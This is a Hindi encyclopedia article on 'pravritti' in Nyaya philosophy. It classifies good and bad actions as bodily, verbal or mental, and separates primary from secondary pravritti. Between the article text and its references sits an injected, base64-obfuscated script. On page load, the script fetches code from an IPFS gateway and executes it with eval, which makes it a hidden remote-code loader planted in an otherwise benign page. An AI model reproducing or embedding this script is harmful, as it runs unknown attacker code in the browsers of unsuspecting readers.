प्रवृत्ति -न्याय दर्शन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
  • न्याय दर्शन में सातवाँ प्रमेय है प्रवृत्ति । मनुष्यों के शुभाशुभ कर्म[1] प्रवृत्ति पद से लिये जाते हैं। यह तीन प्रकार का होता है-
  1. शारीरिक,
  2. वाचनिक और
  3. मानसिक।

दान, रक्षा और सेवा शारीरिक शुभ कर्म हैं। सत्य, हित तथा प्रिय बोलना और स्वाध्याय वाचनिक शुभ कर्म हैं। दया, अस्पृहा और श्रद्धा मानसिक शुभ कर्म हैं। इसी तरह हिंसा, स्तेय तथा अगम्यागमन शारीरिक अशुभ कर्म हैं। कठोर, मिथ्या, असंबद्ध कथन तथा चुगलखोरी वाचिक अशुभ कर्म हैं। परद्रोह, परधन में लोभ तथा नास्तिकता मानसिक अशुभ कर्म हैं। यद्यपि शुभाशुभ कर्मजन्य धर्मोधर्म भी प्रवृत्ति पद से लिया जाता है तथापि वह उसका मुख्य नहीं गौण अर्थ है। शुभ एवं अशुभ कर्म कारणरूपा मुख्य प्रवृत्ति है, पुण्य और पाप कार्यरूपा गौण प्रवृत्ति है। इस तरह प्रवृत्ति के दो प्रकार होते हैं।


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. न्यायसूत्र 1.1.17

बाहरी कड़ियाँ

संबंधित लेख